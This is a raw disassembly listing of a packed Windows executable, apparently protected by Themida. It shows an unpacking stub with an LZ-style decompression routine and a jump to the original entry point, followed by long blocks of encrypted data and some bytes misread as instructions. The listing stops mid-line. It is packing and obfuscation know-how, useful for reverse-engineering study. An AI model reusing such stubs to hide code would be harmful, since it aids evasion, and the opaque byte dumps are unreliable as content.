loc_4E006D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E004E ; --------------------------------------------------------------------------- loc_4E0074: ; CODE XREF: start+57j mov edi, eax loc_4E0076: ; CODE XREF: start+1Bj jmp loc_4E0265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 0E026Ah add ecx, edi jmp short loc_4E0090 ; --------------------------------------------------------------------------- loc_4E0086: ; CODE XREF: start+8j mov eax, offset loc_546A16 mov ecx, offset word_4E026A loc_4E0090: ; CODE XREF: start+70j push eax push ecx call sub_4E011B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4E0265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4E011B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4E0132: ; CODE XREF: sub_4E011B+7Aj ; sub_4E011B+C3j ... add dl, dl jnz short loc_4E013B mov dl, [esi] inc esi adc dl, dl loc_4E013B: ; CODE XREF: sub_4E011B+19j jnb short loc_4E0127 add dl, dl jnz short loc_4E0146 mov dl, [esi] inc esi adc dl, dl loc_4E0146: ; CODE XREF: sub_4E011B+24j jnb short loc_4E0197 xor eax, eax add dl, dl jnz short loc_4E0153 mov dl, [esi] inc esi adc dl, dl loc_4E0153: ; CODE XREF: sub_4E011B+31j jnb loc_4E0238 add dl, dl jnz short loc_4E0162 mov dl, [esi] inc esi adc dl, dl loc_4E0162: ; CODE XREF: sub_4E011B+40j adc eax, eax add dl, dl jnz short loc_4E016D mov dl, [esi] inc esi adc dl, dl loc_4E016D: ; CODE XREF: sub_4E011B+4Bj adc eax, eax add dl, dl jnz short loc_4E0178 mov dl, [esi] inc esi adc dl, dl loc_4E0178: ; CODE XREF: sub_4E011B+56j adc eax, eax add dl, dl jnz short loc_4E0183 mov dl, [esi] inc esi adc dl, dl loc_4E0183: ; CODE XREF: sub_4E011B+61j adc eax, eax jz short loc_4E018D push edi sub edi, eax mov al, [edi] pop edi loc_4E018D: ; CODE XREF: sub_4E011B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j mov eax, 1 loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j add dl, dl jnz short loc_4E01A5 mov dl, [esi] inc esi adc dl, dl loc_4E01A5: ; CODE XREF: sub_4E011B+83j adc eax, eax add dl, dl jnz short loc_4E01B0 mov dl, [esi] inc esi adc dl, dl loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej jb short loc_4E019C sub eax, ebx mov ebx, 1 jnz short loc_4E01E3 mov ecx, 1 loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j add dl, dl jnz short loc_4E01C9 mov dl, [esi] inc esi adc dl, dl loc_4E01C9: ; CODE XREF: sub_4E011B+A7j adc ecx, ecx add dl, dl jnz short loc_4E01D4 mov dl, [esi] inc esi adc dl, dl loc_4E01D4: ; CODE XREF: sub_4E011B+B2j jb short loc_4E01C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j add dl, dl jnz short loc_4E01FA mov dl, [esi] inc esi adc dl, dl loc_4E01FA: ; CODE XREF: sub_4E011B+D8j adc ecx, ecx add dl, dl jnz short loc_4E0205 mov dl, [esi] inc esi adc dl, dl loc_4E0205: ; CODE XREF: sub_4E011B+E3j jb short loc_4E01F1 cmp eax, 7D00h jnb short loc_4E0228 cmp eax, 500h jb short loc_4E0223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0223: ; CODE XREF: sub_4E011B+F8j cmp eax, 7Fh ja short loc_4E022B loc_4E0228: ; CODE XREF: sub_4E011B+F1j add ecx, 2 loc_4E022B: ; CODE XREF: sub_4E011B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E0259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4E0132 ; --------------------------------------------------------------------------- loc_4E0259: ; CODE XREF: sub_4E011B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4E011B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4E0265: ; CODE XREF: start:loc_4E0076j ; start+9Dj jmp loc_546A16 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4E026A dw 38E9h ; DATA XREF: start+77o dd 1573524h, 8B92BCEAh, 0CEBB3B84h, 0B8AE1001h, 8C478A21h dd 1175257h, 1D227175h, 0E45F1DC2h, 0FE215C11h, 0A7D7849Ch dd 0F95DB815h, 0FFE05B78h, 65685400h, 6164696Dh, 59FF6099h dd 4703B898h, 6552F0ABh, 61741C73h, 7041CE72h, 784F2E2Fh dd 6457219Ch, 0FF235C71h, 0C22445FEh, 3579F717h, 0DF570817h dd 0E103CC50h, 3622AA0Ah, 38FF1FE1h, 0FEEB4601h, 65E93321h dd 8B8E7F38h, 60D442C5h, 815D10E8h, 3533ED00h, 95890612h dd 0D046169h, 100EF5B5h, 8028A585h, 297BBD83h, 0C748083h dd 28E8728Bh, 7B35B8E2h, 4470C7C2h, 0E53E1C24h, 186A3440h dd 29A3E845h, 741E9A68h, 0DF940783h, 4B25070Ah, 0D5A40A89h dd 214E942h, 2F4F095h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h mov al, 0EEh pop edx adc dword ptr [eax], 23621EAh mov ebx, edx mov dword ptr [ebp-28h], 0E38108Fh ; CODE XREF: Themida_:004E036Bj inc eax mov edi, eax or [ecx+1D80E67Dh], al xor esi, [edi+ecx+20h] or bl, bh sub dword ptr [ebx+edx*4+120CFF10h], 43h jmp short near ptr loc_4E034D+1 ; --------------------------------------------------------------------------- db 36h, 0DCh, 6Eh dd 0C9822661h, 468004C2h, 0FF7CC481h, 0C84902D1h, 458D806Ah dd 85D8B80h, 1985C728h, 408D5089h, 88C3D10Ah, 89411815h dd 0BD81140Bh, 755D4006h, 8527E352h, 641DBA8Dh, 8A807580h dd 92F4BB0Eh, 0ABB8015Bh, 0D3785437h, 870FF9D0h, 0F7754B08h dd 47C3AF60h, 8C4AA446h, 42F95446h, 8A6157D1h, 0EBF0D040h dd 45EE14FBh, 0EB144DFCh, 1879AD04h, 403E8046h, 84A6BAF7h dd 7DC334DCh, 217FEB0Ch, 6D99F83Eh, 9509F012h, 210F40Eh dd 0F065C14Ah, 0F8D68004h, 7203E0D1h, 3328C0C2h, 301C8ADBh dd 98FB8039h, 390A0A72h, 7D057A77h, 0CF22E4EBh, 0DEC6114h dd 8FE660Ah, 9DBE1EDEh, 10580AC3h, 6172411Ah, 77460A0Bh dd 4424BD06h, 0F05D3001h, 7D83F4ECh, 723602E6h, 6EC00CB0h dd 0AACCA576h, 9C83F826h, 0A8D48D0Eh, 0FC553B01h, 5378820Fh dd 0AA83B0BDh, 0BAA1387Ch, 0C1B9C108h, 0BDFC5070h, 0FE8037B0h dd 4947030Fh, 22B9FA75h, 0BBB96A8Bh, 0F1E8C701h, 0CDEEB82h dd 868E003Bh, 71339A5h, 6F657051h, 0CAFD1D36h, 1407268Ah dd 590705E9h, 20D98C67h, 57C32CE0h, 7851018h, 6E4821Fh dd 802798ADh, 0F167405Ch, 53F16BA2h, 298704E9h, 20C45B21h dd 525558Ah, 8458233h, 4321001Bh, 4475C453h, 92030AD5h dd 0CB8CEBAAh, 82678034h, 5B4E0039h, 0B8100F76h, 43E3D51h dd 303B3BD1h, 9754246h, 0C011EA2Eh, 0E4EC480Eh, 6509065h dd 0C5058465h, 0B8968E05h, 0F0538248h, 29A8C204h, 0B8CD718Ch dd 0E4BB0EE7h, 812BFF30h, 22C00477h, 84C1341Dh, 753319F9h dd 73FBC20h, 0EF660A77h, 38027330h, 8C99EC41h, 0F9FFCC7Fh dd 0FE450C40h, 60A5E9h, 8C52C462h, 1108254Dh, 4CB1AA82h dd 84D05AABh, 0E8568A13h, 0EE825E60h, 8481AAC3h, 8A4F8109h dd 2013B9AAh, 43975223h, 67BD0192h, 0D1E6F4BCh, 0F984DE8Dh dd 0C45E6156h, 876D8AC8h, 0C4564600h, 0EA6368h, 0F996C8FFh dd 0E905E281h, 6250960h, 0BCAD66h, 35BABE4Fh, 10545CFDh dd 23148331h, 0B800FEAh, 0E62CE22Bh, 0E9002464h, 2E4C3787h dd 355127Dh, 10CA0B5Ch, 2F643F86h, 5A6152AEh, 4D8AC8C4h dd 4216448Ch, 20C45209h, 0C887203Ah, 0A108AE86h, 25BE029Ch dd 321EDF37h, 508417EAh, 546C4006h, 0A425DE08h, 8B13FD1Eh dd 0B2E18AEBh, 0EA188C04h, 0F7431B0Ah, 0D9F040C1h, 3A3E3181h dd 131EA28h, 25100BE9h, 0EB007CA0h, 71038F82h, 33B73442h dd 0DB946087h, 5D08C8E0h, 34102CCFh, 137BB0A1h, 28C200DEh dd 0A07547Dh, 0CC0E7484h, 552CF79Ah, 9C910F66h, 0D2041297h dd 0AC03805h, 3C5BD7B8h, 3306E982h, 0EF90C29h, 635E241Ch dd 0D3E5BB82h, 60AE8FCAh, 27DDF1Dh, 279006BAh, 4A8A1EFEh dd 845CB70Eh, 0A853DFEFh, 314E909h, 87A581B4h, 0C316E20Ah dd 0EEA0346h, 0D4130091h, 61E4FFEEh, 3A037623h, 0C7FA484h dd 6B08985Fh, 19740377h, 9BDC68A9h, 31377AA0h, 731E9D00h dd 5711904Ah, 6E28C01Bh, 2EAC7DCAh, 0E95B2400h, 17CCDC54h dd 0C798008Ah, 0BE79130Eh, 0CF39F9C9h, 0F61C61C4h, 688C6E90h dd 4A718360h, 0ED164F00h, 0C444B1FCh, 10FD07CDh, 7067041Ch dd 5D6EFA1h, 0CEF05C06h, 1140DFBDh, 78D76CF5h, 40EB5B00h dd 5FCA617Fh, 6919C074h, 0FB9C7234h, 8E508800h, 0AEA007C8h dd 3AC7037Dh, 7AF0BFD2h, 5B08401Eh, 1DD51700h, 1249C8h dd 927B3B79h, 0F20DA5ECh, 0B0297160h, 52B12Ah, 60C74BABh dd 13943AECh, 28D79200h, 0ACFF30BEh, 0E99089h, 0F7832533h dd 62EC864Ch, 3606FCE2h, 808D7DB4h, 87542A51h, 1A520088h dd 0B7B584FEh, 5C003DD4h, 0C07BBFD3h, 0E050650Ch, 0D1461C8Ah dd 0EC6FC002h, 0EEFBDF67h, 5873660Eh, 62D447EBh, 0A11F76C0h dd 307EE86Ah, 63697B8Dh, 0C0838560h, 6A71D5h, 2F911CAAh dd 0F5A953CDh, 75585C18h, 7806E38h, 0E1B5C70Fh, 0CE1EE0D9h dd 0EF1DA204h, 1B3CFAC2h, 0E008F7E7h, 6B5A90h, 77ECD7ADh dd 0EFDEB4Eh, 0CE294F67h, 0EE54D8A0h, 0E6AB368Eh, 90204049h dd 0DF2E009Dh, 0E4D6B1F8h, 0AD00D198h, 50FB3725h, 50C3C2Bh dd 44DEE3CAh, 26148079h, 950024E8h, 162F8C4Bh, 0C0A67BFDh dd 797602A1h, 0C51B2436h, 902097CFh, 80186142h, 52001A99h dd 652049A0h, 60963233h, 952E91F8h, 0A1C017B1h, 9D5FC091h dd 0A022005Ah, 0F8ABBB9Ch, 7E1B162Ch, 0D871A8D7h, 2AD1A2FFh dd 6847E2h, 0D9198699h, 0F6F169E9h, 0E37581Dh, 4E4B4907h dd 0AB9920A0h, 95141F36h, 846C4692h, 88007907h, 1D139DF1h dd 2A4C91h, 30DDC036h, 0FD1A06C4h, 0A00042E4h, 0B7B3145h dd 0E1040A33h, 0A0CE9A20h, 60E91B0h, 69B328Ch, 0FD14D805h dd 81909F84h, 0B3950E79h, 10E892CEh, 646C80h, 9220A339h dd 0D9E26712h, 0A944B4A0h, 54D72E80h, 0E8D0A432h, 357E36h dd 813E7DFFh, 329CEA42h, 95FB5404h, 7744182Ah, 78008336h dd 0A0008FBBh, 9A946C5Eh, 303288C4h, 0D381CF92h, 340C0E01h dd 4130D722h, 37400AEh, 5645524Eh, 0FD7853F5h, 8D2F2600h dd 89E4F8Bh, 0E0780A04h, 3880F4A4h, 4EF6E792h, 99606D3Ch dd 0A1C84FE3h, 0A5E99D0Ah, 4901A019h, 41677331h, 0DBA36500h dd 0E88D5B30h, 70782B79h, 0FDFA0546h, 0C413CAB2h, 26B040E6h dd 0B8B0779Ch, 2810CF68h, 43839102h, 3215003Ch, 0D9C6FF94h dd 91F8E7h, 72994DD1h, 21742B58h, 28DA291Ch, 213C541Ah dd 4D193198h, 572CECh, 0F88EBA13h, 0F75CBD71h, 0E5406A00h dd 878F7CCAh, 94190CD6h, 0B169FBF0h, 86673FE2h, 6810238Ch dd 624ECDF9h, 2CCC0DDh, 877EC083h, 0E01876C7h, 733AEF06h dd 26B840DFh, 21E5FB48h, 8A92C0h, 5C2BC272h, 44078B97h dd 77967675h, 48B78940h, 0C1010779h, 64FD3049h, 453490ABh dd 0C0921B95h, 8464990Ch, 4FE110h, 0A60FE498h, 0F37B7085h dd 7423870Ch, 90F7900Dh, 0FC44014Fh, 0A014077Dh, 0A3188908h dd 8144108Ch, 636B1343h, 49301FF0h, 0F3853DFEh, 0CE8440EAh dd 0E11D813h, 0E51DD0A0h, 9CCF4A24h, 0C879C743h, 605F9527h dd 4482509Ch, 183A1419h, 354C00FDh, 53ADDDAEh, 133E203h dd 2AA04EC9h, 0DC26B7C7h, 0F8F34411h, 0DC07AE9Bh, 8776BB91h dd 0A52AB440h, 0D9BF0174h, 71B6C90Bh, 0E413E1A4h, 4F2875EDh dd 0CC0085F1h, 11F318D2h, 0CB4E3Ch, 26786B3Dh, 926CEDB1h dd 0DD3FC000h, 0DC796407h, 0D4090781h, 602C0F19h, 7BCD13EBh dd 8C402028h, 486E853Ch, 0FD7D04F4h, 3347A57Eh, 6C90098Ch dd 0B44835Fh, 16FC0123h, 0B7D382F1h, 37F0EC24h, 2F04F475h dd 1A58E097h, 0CA7B24D3h, 600C4030h, 81B89925h, 777DCFCAh dd 7868EAE7h, 0AC7CDCA1h, 0B3F54400h, 5C2AF231h, 0D4350126h dd 482B8785h, 1AA8241Bh, 0A9D38312h, 4CEDDC01h, 0C45253E5h dd 95E0908Ch, 0B1BEF11Ch, 317B938Ch, 94120B88h, 44187390h dd 26CF5B10h, 49BCE677h, 0F839F580h, 3800910Eh, 0FA4298F0h dd 86D28Eh, 0EAF4D436h, 0C07726F6h, 0E8FCE834h, 7B459C00h dd 7FE48F78h, 7C020D9Fh, 0D8B019ECh, 0CB207391h, 0E1F839A4h dd 538D67Dh, 5FA7D791h, 8CCD04B8h, 2A7480DDh, 4009ADE2h dd 2733D79Bh, 36A0D8A4h, 0A45687h, 0F73DA548h, 0CC5CF119h dd 49B87900h, 0FC131F34h, 9F78CB10h, 98323C21h, 87E43404h dd 28480B18h, 5542520h, 0E39C8822h, 74CC47FFh, 0C90DF495h dd 0E0032ECh, 0E03F31A3h dd 0C150839h, 9060989Ah, 0DC8C501h, 0F2D48D81h, 1816BAE3h dd 1408C728h, 117E820Fh, 0E4905413h, 640A901Dh, 0E0BB8D25h dd 6C5FD683h, 0C481F0C7h, 0DD4D8017h, 2092F331h, 4C60D4BEh dd 82F4AA69h, 63A6CFCh, 7E223872h, 0A9A78B0h, 941F95BEh dd 39F21868h, 150B0EFCh, 4303AAh, 7ACF3292h, 1F581CEFh dd 0C3F95C9Fh, 37CCA12Ah, 559091F1h, 0C704484h, 81770022h dd 3783D40h, 802E2B3Fh, 79F83B4Eh, 492CC0C5h, 834E4C1Ch dd 2C15B07Bh, 426CDAA8h, 9C987A0Dh, 14C8128h, 7B8B04B0h dd 50800F6Dh, 4D48D9F8h, 0B00344FEh, 850EED64h, 62CE5905h dd 0F0249631h, 79648015h, 5046A0B8h, 6F2E810h, 456F83D4h dd 99050A60h, 8DCD378h, 0D814F680h, 8D4D09FCh, 3EC0A55Fh dd 740B58CCh, 88460422h, 80A01290h, 5CE493A8h, 17236580h dd 5B87C7E5h, 10CA589Ch, 84A97E07h, 0D45D3ACh, 0C050424Eh dd 8B00FF30h, 48B31F83h, 2821E482h, 2E4F10BEh, 446D061Fh dd 0F30F76Bh, 3420D263h, 2A803DDh, 1AEA410Eh, 0A4C4F0F3h dd 3503CAF4h, 0B0B531CBh, 9C0DC81Ch, 59C30275h, 41F4172Ah dd 0FB869C82h, 0B7DF4520h, 2693030Ch, 2CFFAB8Dh, 2ED7D815h dd 0B18F00E4h, 0D3EAEDD0h, 43F40F95h, 836024C7h, 0D517AD2Ah dd 79EEF102h, 0F0FF7D8h, 498B93C3h, 2878B80Bh, 5AC29ADh dd 0A461F098h, 0C805A417h, 0D200340Ch, 85693C48h, 0BBBCE9h dd 3121FC07h, 35B9B0DDh, 0C0159F00h, 33E3A35Fh, 9640C986h dd 0B1FF1810h, 88EA1031h, 9A207A1Fh, 2B28121Bh, 0CA45EE4h dd 0D3319AF0h, 0E92DD730h, 0D698C6h, 27AFB973h, 408C478Eh dd 0CE33Eh, 364FD26Ah, 9081762Eh, 52F72008h, 19CE6017h dd 0A091848h, 41E88285h, 3FEF73h, 1330DFAFh, 0A8078Bh dd 3D14FC94h, 0FD027653h, 8D7AC698h, 0E0284090h, 0D8E94184h dd 712476D3h, 4C40ECF0h, 0E8995795h, 0AC260047h, 0EF072AF4h dd 1D00C10Eh, 51926FDEh, 0A3CB1D3h, 1BB9524h, 0ABD600E8h dd 0CBF105Fh, 0D197FD01h, 0BE930B2Eh, 0E0DEA2EDh, 8344A424h dd 7BFDC8A0h, 5A842FDh, 0B04C4862h, 4C361820h, 0BF25FC67h dd 0A4BBB003h, 71032793h, 9532C9F9h, 20390460h, 175C7Bh dd 7F8B9073h, 2000833Dh, 1CB79F7Eh, 1A97A506h, 0F02F8531h dd 35AD248Eh, 0C47329h, 0D202C8E4h, 2C738067h, 0BB94D7F6h dd 0C082AF20h, 99FBBC40h, 82C77B81h, 8588E162h, 0E6000062h dd 9995A4D8h, 4401FE56h, 0C542273Ch, 5830ED3Ah, 4989491h dd 55F8820Dh, 50179FD8h, 3BC4A837h, 4098EF4Ah, 8729653Dh dd 0C8B1CE28h, 90B56332h, 0D07844D9h, 27B10440h, 94B10018h dd 38C1611Fh, 75D07B87h, 67DDE8ECh, 95F1BE61h, 0C8353329h dd 4B0C8026h, 5F591384h, 79A55B0Eh, 0E00E5347h, 942CDF14h dd 1E12CDA0h, 18C72F94h, 97D28E1h, 47BF1D01h, 10408688h dd 48023087h, 3DC11C96h, 70007911h, 257F5D02h, 1C004283h dd 34A12214h, 30790FA3h, 13296D28h, 98A2FFD2h, 3ED04CCBh dd 18050714h, 59FC0BCDh, 0CC0A9416h, 79849463h, 6C96D5CCh dd 33741838h, 0DE7AC859h, 0D82A08A4h, 0B485C029h, 0F119280Ch dd 79350CD9h, 0B19174E0h, 87B810Ch, 3C9E785Ah, 0E09AC17Dh dd 60602170h, 0DF899C7Bh, 0A833B060h, 306B9118h, 82805E5Bh dd 71C81C16h, 576803Dh, 4F3F0DD5h, 1749B001h, 7242743Eh dd 1F4ED08Eh, 604163ECh, 0EBF0DD12h, 0D8662840h, 393462F5h dd 0DA80597Fh, 588656CCh, 2A51A304h, 1F22C298h, 0D80210ADh dd 2765CC44h, 6880B1F1h, 0F53EBD0Dh, 48012373h, 0BA35D14Fh dd 0B0E47FC9h, 0E62B1E7Eh, 5551C047h, 4AF9DE95h, 921E5300h dd 60690293h, 0F03D005Fh, 5744841Ch, 0E8092CAFh, 154E98h dd 682F40C2h, 0BC011DB2h, 4DF4008Ch, 9391AC57h, 93A3A6E0h dd 8412401Dh, 1DC98280h, 6ABEE8h, 440CAC0Fh, 15D15345h dd 0AE88F707h, 1E60BAF4h, 65C191h, 3E7057A7h, 5AD510E9h dd 1DD38209h, 1E6CE9E6h, 95AF045Ah, 1DEC01F8h, 0C97C54D2h dd 0E99D820h, 0CB41179h, 0CF12EEE0h, 0D8004610h, 194DCEAFh dd 3F86EACh, 9A66A65Eh, 4100240Ch, 0B1D6D156h, 7BB7BBh dd 453B11ACh, 63EEFE61h, 39B68B1Eh, 98FC00F9h, 6772F2FAh dd 383E4096h, 0DE516210h, 6B7950Eh, 45400780h, 0C00DA3Fh dd 43AA8BBAh, 0F01951h, 72F98FE4h, 250B5D56h, 62C72F0Fh dd 0B8D6807Dh, 26097497h, 12383DB1h, 0BA942E9Dh, 0B010FA12h dd 2C72DFD1h, 7CB79800h, 453107ACh, 0EED61E4Ah, 0CEAEC0F7h dd 0A7F25348h, 9C028A00h, 0EF1B701Ah, 6337001Ch, 2621924Fh dd 11744ECAh, 0D8ED0D07h, 0B8A0045Bh, 5DF394h, 0A1F864C5h dd 0EE9D5CFEh, 1A409A61h, 0C64CD5h, 126DC9ACh, 0ED0009E8h dd 0AD247EEh, 74F18F49h, 1F7D02h, 6C5CFA92h, 0B91A705Bh dd 48D5170Fh, 0BA268382h, 0C212E8BCh, 8CFF5909h, 0C4A8ABh dd 8423ED07h, 2CE4574Eh, 7B99AD1Eh, 0FF7DB7C0h, 40CF3645h dd 0F500E108h, 0A61E2263h, 3682C92h, 0FB3E6B5Bh, 10E83B23h dd 260019D7h, 0AF7787C3h, 3EE6393Dh, 0BD809746h, 5206F18Dh dd 0A100EDFCh, 56696057h, 0B90D9Fh, 4D5BD227h, 0C61D42D5h dd 2A22B700h, 34452C7Fh, 48EF01CEh, 0C4F8F189h, 0FE92DC54h dd 676AEC00h, 0F2B94F5Eh, 0F883F83Ch, 0BDB13E18h, 824C880h dd 97562C3Fh, 22AC2258h, 9A2502B8h, 209D5FF8h, 4378892h dd 0B83560FFh, 5B00A4F3h, 514BF1C0h, 396F0E54h, 18290452h dd 69005434h, 3D7067A0h, 15F524Bh, 0A451A518h, 0CD233860h dd 0EF1C589Ch, 9DB3BC1Fh, 0FB1E681Fh, 7CC00116h, 3EDD65EEh dd 488B877Eh, 0D8624F14h, 4500B0DAh, 8437DD4Dh, 8FCB5C2h dd 18A1BB2Dh, 7A346025h, 887500DDh, 8B9A76FEh, 18C0360Fh dd 81111905h, 80804E43h, 0F16AA210h, 92ED5405h, 54002C8Eh dd 189FBCB1h, 0CD160539h, 627FF6D1h, 0DF04FF1Ch, 7B1E34ADh dd 0F2B28023h, 29CAA3FAh, 1C1C4C3Ah, 0CB407F67h, 935695A9h dd 40ECBE8Eh, 5FAF747h, 444AE100h, 97E05394h, 33090007h dd 0DD1E1BACh, 2C5EFD57h, 80A6A448h, 0C6BDA997h, 810BEE85h dd 68189CE0h, 0C0FE80E4h, 0B0990861h, 782965E7h, 0E979B458h dd 0EB24D019h, 0AC50E00h, 6B92A1CAh, 283A44D3h, 70799D60h dd 40844FCEh, 3E00A21Ah, 90F44137h, 33A9A03Ah, 44084297h dd 3F572100h, 18B9BB41h, 0A4D918F7h, 0B3904824h, 1E8AFB22h dd 0E5EB93A5h, 8C768460h, 0A1029000h, 77B592FDh, 0C7B84AD8h dd 107B67DCh, 0FAF04D18h, 0EFF62207h, 88F72554h, 838D3E00h dd 609F451h, 34B87804h, 91E470F3h, 47ED6F00h, 0EE22E30h dd 7876001Fh, 0A2143681h, 0A16A5FC4h, 0F9115480h, 7CDD6380h dd 448C5887h, 4B0043F2h, 7F3FD4DDh, 0EA2DE86Eh, 6482020Bh dd 0C29A7779h, 34186940h, 3C9EDC24h, 0C17E4280h, 70A42362h dd 0A1D5F22h, 80E83A50h, 1BC18668h, 0C8001975h, 0D23BD6E2h dd 60F12F31h, 37049905h, 8B0AC517h, 7C8C7152h, 849C5781h dd 0C42401E6h, 0DB0300A4h, 3419772Ch, 69658002h, 38A08708h dd 0DAFB01BAh, 0AC99B1BBh, 20C6E9DFh, 0D301C0ACh, 24329047h dd 0C4422214h, 0E1E0A73Ch, 0AB2BCh, 0C4A3FE68h, 1807F3F2h dd 5992E730h, 0FDCBD8h, 6F755608h, 5209AE0Dh, 5F4B300Fh dd 602DAF79h, 0D589B198h, 3D3A06A7h, 603B9628h, 268284B6h dd 0A039D73Fh, 7137608Ch dd 0D849072Ch, 60A51FDEh, 62337D2Eh, 18688800h, 23675065h dd 0FF220464h, 0B9CFD0B9h, 0F0AD1408h, 0CE838890h, 772BDA01h dd 20F21911h, 0C4DAF8BBh, 0E876071Eh, 8D6CD300h, 1226E5B0h dd 2F70BC5h, 0F6EB40DCh, 0AA334460h, 75040838h, 145A9524h dd 0EF462CA8h, 82DD4902h, 80674887h, 0DD514100h, 2092E4h dd 0A153ABE2h, 0CB6B3A94h, 826080EFh, 7BFD1495h, 8590A957h dd 7AD0402Eh, 1CA77503h, 0B5C6610Fh, 234495DFh, 0DD4C03F2h dd 8052877Fh, 540EC070h, 3EF1DDh, 75D31B5Ah, 52E1F7B5h dd 15014E13h, 8689804h, 89820D42h, 0C0979CA0h, 8097EC38h dd 76D94F4Ch, 83E42417h, 944308B8h, 1B5FD700h, 338C30DBh dd 14506B78h, 209432CCh, 9702DA95h, 2E0099DEh, 6F732914h dd 0E8019734h, 263E1806h, 0C18002B4h, 3154234Ch, 48621041h dd 0ED1600C1h, 89A78A6Ch, 2704EF94h, 1B83935Dh, 2A0F14ACh dd 0B2038BB3h, 5680D81Eh, 2093499Ch, 29DAF603h, 8D62CC77h dd 0DAEEC120h, 237900AFh, 8F7F733Bh, 0FCE8D7ADh, 0B5839012h dd 0BB324C40h, 7405CED5h, 70909598h, 0EF2AA052h, 0B600D802h dd 921BCCBCh, 9E1ED6Eh, 3D8A5D93h, 0CF007859h, 0E5911826h dd 2F1C024h, 4C953048h, 0E7797600h, 2C647FF7h, 0F6237C17h dd 0EBBD1425h, 0CD05C8B2h, 1227842Bh, 235C3AC0h, 20360035h dd 0F327D534h, 0AB134C98h, 28A04522h, 7920B171h, 0B01840h dd 0E731BC21h, 28770974h, 48F7CD2Ch, 36605444h, 9023F541h dd 0A1142h, 59413E5Eh, 7C078B9Bh, 11D4912Fh, 296407BFh dd 56E45B4Eh, 8AC814CBh, 60C9A3C0h, 351A00CAh, 7BC43B80h dd 0A8A0300Ch, 0CE297269h, 29015851h, 2A90F641h, 59883F18h dd 52410031h, 0D7ECE685h, 432D1F29h, 0A0C4088h, 415B077Bh dd 0C500EB4h, 0D6005AA9h, 0A97F91CCh, 5C392D3Ah, 45012FC1h dd 0D7941E6Eh, 98F8844Dh, 0F4BCA4B8h, 93D48B29h, 0AA50F4D8h dd 0C3094E05h, 0AF81B78Fh, 203AC7A2h, 0DDEB3C94h, 5D121D01h dd 0E68F0BF0h, 0A46798C7h, 14B87A44h, 0A4B387E7h, 7F2E4700h dd 0DF418274h, 0FDF13115h, 0F34CB8h, 3A71191h, 0B2C8EEh dd 3680B10Dh, 2878F4CDh, 486D052Eh, 850A038h, 2708E082h dd 800E1713h, 0B7A9081h, 2C01A395h, 0F791E41Dh, 2EC54480h dd 614866A7h, 3C7C2EA9h, 0D7B79083h, 9D6904F9h, 0EC8E43E3h dd 0BCA87B1Ch, 280046AAh, 4CF409A7h, 0F6B41ADh, 0EE547E98h dd 0C005D3C9h, 0B20CC686h, 0EC122877h, 0ECF4E687h, 0FAAF0004h dd 681CF0E5h, 0F201C894h, 0B8796FF7h, 8100EFDCh, 1EFC9058h dd 7CD37426h, 39289883h, 8620261Dh, 31080933h, 60221002h dd 0E116E05Ch, 917140A0h, 18467998h, 8D13EEBh, 950ED687h dd 0CF1782CDh, 9885EC84h, 0DB080290h, 0C421772Dh, 0FABD408Eh dd 362D4DAh, 7B873F18h, 0A8023BACh, 4F9330FDh, 5CF0912Bh dd 1574D1AEh, 997EBCF8h, 183779F0h, 8DBA002Ah, 0C724F4D6h dd 0DE007FD9h, 0EF7C7947h, 1997CD71h, 7012FCE0h, 0D8AC4C1Dh dd 0AA0C20B5h, 0FACCD4h, 68140870h, 1D53D6Ch, 0E72BF209h dd 10B0F2C6h, 481AA8B8h, 52C310E0h, 9840CC52h, 0F5048C4Eh dd 697736DAh, 0ED02C438h, 18EA30DAh, 4D5601E5h, 0B2CC33F0h dd 5DAA3041h, 0B70010F0h, 9DA84575h, 60E74982h, 79D591FDh dd 11035CB4h, 5429C64Ch, 42878225h, 4A5C41FDh, 41082C18h dd 0C4529103h, 34544043h, 0B845C41h, 0CCC0B79h, 3884D450h dd 91BE3500h, 0F3D1A42Ch, 2F0B228h, 0BBA5FB59h, 0E440043Bh dd 3FFC2387h, 94B140C0h, 922E5331h, 2EC46F0h, 8781DD46h dd 